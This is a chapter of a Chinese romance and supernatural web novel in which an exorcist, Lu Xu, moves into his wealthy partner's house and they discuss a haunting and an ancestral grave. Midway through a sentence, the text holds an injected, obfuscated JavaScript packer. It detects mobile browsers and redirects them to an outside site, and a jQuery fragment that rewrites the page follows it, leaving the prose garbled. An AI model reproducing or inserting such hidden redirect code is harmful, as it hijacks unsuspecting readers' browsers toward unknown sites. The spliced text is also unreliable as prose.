陆叙好奇地四处打量,顺便看了看山水走势,这地真的相当不错,依山傍水,树木常青,院内也不是常规的花园,反而是成片稀罕的绿植,有点品味,但—— 典型的土皇帝孙子的窝点,陆修望真该死啊。 “你为什么在临城有房子?”陆叙跟着他往里走,“你家在这边有生意?” “方便爬山。”陆修望随手指了指窗外,“之前来过一次福山,风景很好。云城没有这么苍翠险峻的山,偶尔想爬就会来住几天。” 陆叙本想问,偶尔来你买这么大一套房子干什么,看了看室内装潢,又闭嘴了。 转而说:“福山算什么,以后如果有机会,带你去看看云脊岭,那才是真正的雾里看山山里看云层峦叠嶂。” 陆修望好奇地问:“云脊岭在哪儿?” “我老家。”陆叙说,“临城出去不远,福山只能算云脊山脉的一个小山头,我家那儿才是主峰。” 陆修望皱了皱眉,像是有点意外:“你老家怎么在山上?” 陆叙笑了,煞有介事地拍了拍陆修望的肩膀:“很奇怪吗?小说里像我这样集天地之精华的世外高人,不都是住在神秘的大山里吗?” 他一屁股坐进沙发,往后一靠,又慢悠悠补了句:“开玩笑的,其实是我师父的道观在那儿。” 陆修望跟着在他旁边坐下:“所以,你师父为什么要把道观建在大山里?” “为了维持他世外高人的形象啊。”陆叙叹息,显然积怨已久,“顺便折磨徒弟。” 所以连世外高人这种名头都有师承吗?陆修望没忍住,眉眼间带上笑意。 陆叙没一会就坐不住了,站起来四处转悠:“那我住哪?” 陆修望随意指了指:“楼上楼下都有空房,自己选个喜欢的风水,换着来也行。” 看了一圈,这地方不仅大的离谱,更有配置奢华的电竞房、街机房,品类丰富应有尽有,简直是所有游戏爱好者的必住榜榜一。 看着面前的梦中情房,陆叙忍不住说:“早说你家在临城,还这么有品,我二话不说就来了,还整那什么破工作室干嘛。” 陆修望走到楼梯下,抬头看着他:“也不是不行。” “可以住这边。”陆修望顺势提议,“有活的时候再去工作室。” 陆叙挑了挑眉:“哦?” 陆修望找了个借口:“毕竟咱俩现在算是一起做生意,你看刚刚那三个人,他们住一起,就是为了方便沟通交流。” 陆叙想了想,他们干这行的大多缘分浅薄,虽然认识时间不长,但陆修望老是像跟屁虫一样跟着他,强行成了他的好朋友,游戏里也是比较默契的搭子,现在还多了合伙人这么一层莫名其妙的关系。 住一起其实不赖,至少开黑方便多了,况且这地方确实很好,空间大阳光足,风景更是绝了,很适合养身养心。 “行吧。”陆叙走进那个超大的阳台,窗外景色一览无余,还有一个舒适的按摩椅,他毫不客气地躺了上去,调了个舒服的角度,整个人陷进椅背里。 山被夕阳染成暖黄色,风柔和地吹过,带着草木的清香。 陆叙闭着眼睛,舒服得叹了口气,嘴里冒出一句:“老公,你对我真好,爱你。” 陆修望刚走到阳台门口,听到他这句话,脚步不由自主地顿住。 陆叙躺在那儿,嘴角微微翘起,整个人松弛又餍足。 陆修望看着他,心跳漏了一拍,垂下眼,喉结动了动,有句话在舌尖转了好几圈,最后还是被他咽了回去。 还不是时候。 既然现在已经步入玄学行列,那表白这种事,得找人挑个好日子。 陆叙疑惑地看过来,陆修望收起眼里复杂的情绪,神色恢复如常,他走过去,在陆叙旁边的椅子上坐下,尽量让语气听起来像随口一说:“当你老公的前提条件,是不是要让你心情好?” “很有悟性。”陆叙重新闭上眼,脸上带着笑,言语里却满是威胁,“所以你少来惹我。” 阳光在陆叙的侧脸镀上一层柔和的光,让他那副放狠话的样子一点威慑力都没有。 陆修望弯了弯嘴角,移开视线,望向窗外的山。 这人根本不知道自己有多好哄。 陪陆叙玩了会游戏,又把自己的手机交给他抽卡。 陆叙手气不错但很歪,新卡池连着出了两张陆修望已有的金卡,眉眼间的幸灾乐祸藏都藏不住了。 看陆叙心情又好了点,陆修望才开口闲聊:“你为什么不接今早那单?” 陆叙眼睛没离开屏幕:“不想接呗。” “因为麻烦?” 陆叙没回答,反问他:“你觉得他们的经历熟悉吗?” 陆修望愣了一下,脑子里开始回放那三个人说的情况——多人同时做噩梦,梦境内容相同,频率越来越高…… 他猛地坐直了身体,警觉起来:“这不就和我家一样吗?只不过他们是三个人。” “哟,这会儿还挺聪明。”陆叙终于抬起眼看他,带着点赞许,“那你觉得他们遇到的是什么情况?” 陆修望眉头拧起来,声音有些紧张:“是不是……和我家那事有关?” 陆叙的眼神立刻变了,忍不住白了他一眼:“刚夸完你,你就开始展示你那光滑的大脑皮层了?” 陆修望:“……” “我的意思是,他们招惹的东西怨念很深,或者能力很强,所以影响范围大,堪比你家地下那位百年老尸。”陆叙把手机放下,正了正身子,“他们身边的人也可能被波及,只不过这种影响会逐渐减弱,不容易引起注意。” 陆修望松了口气,又问:“那三个玩意虽然看着不太顺眼,但年纪不大,怎么就招惹上这种东西了?” 陆叙沉默了几秒,脸上表情不再轻松:“这才是重点。他们身上有杀业,不是什么好东西,我猜缠上他们的,就是他们自己造的孽。” 他顿了顿,又补充:“你想想你家的情况,其实也没比他们严重多少,这三个人犯下的事肯定极其恶劣,所以我不想帮。” 陆修望怔了一瞬,随即笑了:“所以你当初虽然一直骂我,但觉得我是个好人?” 陆叙乐了:“你是蠢人。” 陆修望笑意更深,没忍住伸手捏了捏他的脸。 陆叙反应极快,一巴掌拍开他的手:“别在这和我嘻嘻哈哈。” 陆修望把手收回来,又说:“我发现你做事还挺有原则。” “那当然。”陆叙哼了一声,“人命、恩怨,这些东西怎么能拿来做买卖。” 他顿了顿,把话题转向陆修望:“所以,你家那边,事情查得怎么样了?” 陆修望悠闲地往椅背一靠:“大概查清楚了,我太爷爷早年和人结了怨,对方手段阴毒,害了我家很多次,那个男人应该就是他的手笔,只不过藏得太深了。” 陆修望又说:“之前我太爷爷机缘巧合下救了一位高僧,为了报答,用心力帮我家护过坛,保了我家几十年的安稳。” “不过他三年前圆寂了,方师傅和郑师傅也说,他的法力会渐渐失效,所以那股怨气才会这样来势汹汹。” 陆叙皱起眉,这个解释说得通,但并不能解释为什么只有他能看出端倪。 “你太爷爷的坟呢?”陆叙又问,“查出什么问题了吗?” 陆修望摇头:“这个是真没头绪,我爸把所有环节都彻查了好几遍。每个环节参 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099184|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与过的人单独询问排查,再对照说词,几百个人问下来,没发现任何可疑的地方。” 陆叙越想越觉得奇怪。 那座坟明摆着不对劲,如果所有流程都没问题,那就是太爷爷本人的问题? 但陆修望之前说过,太爷爷死前没有任何异常,如果是他本人的问题,为什么要等到了坟里才显化因果。 他眉头皱得更紧了。 看陆叙一副烦恼的样子,陆修望拍了拍他的肩,安慰他:“其实我爸妈的意思是,现在一切都恢复正常了,也就没必要再查下去了。” 他语气轻松:“其他师傅也说,应该是那座坟聚集的煞气坏了我太爷爷的风水,扰了他的安宁。三个月后处理一下风水,驱一下邪,再给他做几场法事,应该就没什么大问题了。” 陆叙立刻坐直身体,表情严肃起来:“你也是这么想的?” “嗯。”陆修望点头,“毕竟现在确实没事了,你也不用再费心去查,可以好好休息一段时间——” 陆叙打断他,语气变得很不客气:“之前我骂你蠢,你是真的蠢。” 陆叙问:“达摩克利斯之剑还悬在头顶,你真的睡得着吗?” 陆修望看着他突然严肃的表情,意识到自己可能说错话了。 “表面看着是没事了,但问题的根源还没找到。” “而且。”陆叙顿了顿,“你家现在没受到大影响,很大程度上是因为两件事撞在一起,导致那个男人提前被发现了。如果当初没被发现,煞气继续积累下去——” 陆叙没把话说完,但未尽之意已经足够清楚。 陆修望沉默了几秒。 他伸手握住陆叙的手腕,掌心微微收紧:“对不起,我错了。” 陆叙甩开他的手:“错了有什么用?” 他脸色还是不太好,但火气已经没刚才那么大了:“你爸妈忙事业忙生意,不想管这些可以理解,但你每天不务正业,如果想知道真相,就自己去查。” “行。”陆修望点头,态度端正,“我让人再去查,从族里老人那入手,看看这两件事有没有关联。” 陆叙瞥了他一眼。 认错倒是挺快,态度也算诚恳,脑子也还行,知道抓重点。 他哼了一声,别开脸,语气稍微缓和了点:“蠢归蠢,起码还有救。” 他靠回椅背,看着窗外,过了几秒才开口:“查到线索,我才能帮你。” 陆修望一愣,还没来得及说话,就听他继续说—— “上次收了你不少钱,虽然我嘴上说是一半的费用,但如果不帮你彻底解决这事,我心里会过意不去。”陆叙语气稀松平常,“你刚刚说不用查了,差点没把我气死。” 陆修望怔住了。 他看着陆叙的侧脸,胸口忽然涌上一股说不清的情绪,酸酸软软的,把心填得满满当当。 他垂下眼,忍了忍,再开口时语气故作轻松:“上次的钱是上次的事,和我们家打交道,最不值一提的就是钱。” 陆叙扭过头,冷笑一声:“钱都不值一提了?” 他上下打量了陆修望一眼,啧了一声,终于把那句憋在心里很久的话说了出口:“土皇帝的孙子真该死啊。” 陆修望又气又想笑。 “所以,”陆叙眯起眼睛,慢悠悠地追问,“不提钱是啥意思?你的意思是我还能得到别的好处?” 陆修望清了清嗓子,直起身子,捧住陆叙的脸,将他的目光转向自己:“我啊。” 陆叙:“……” “我觉得我非常优秀。”陆修望脸不红心不跳,“你觉得我这人怎么样?” 陆叙盯着他看了两秒,表面平静,内心早已崩溃,很难想象,一个人能做到如此不要脸。 他推开陆修望的狗脸,警告他:“请你不要在我这哄抬蠢猪价格。”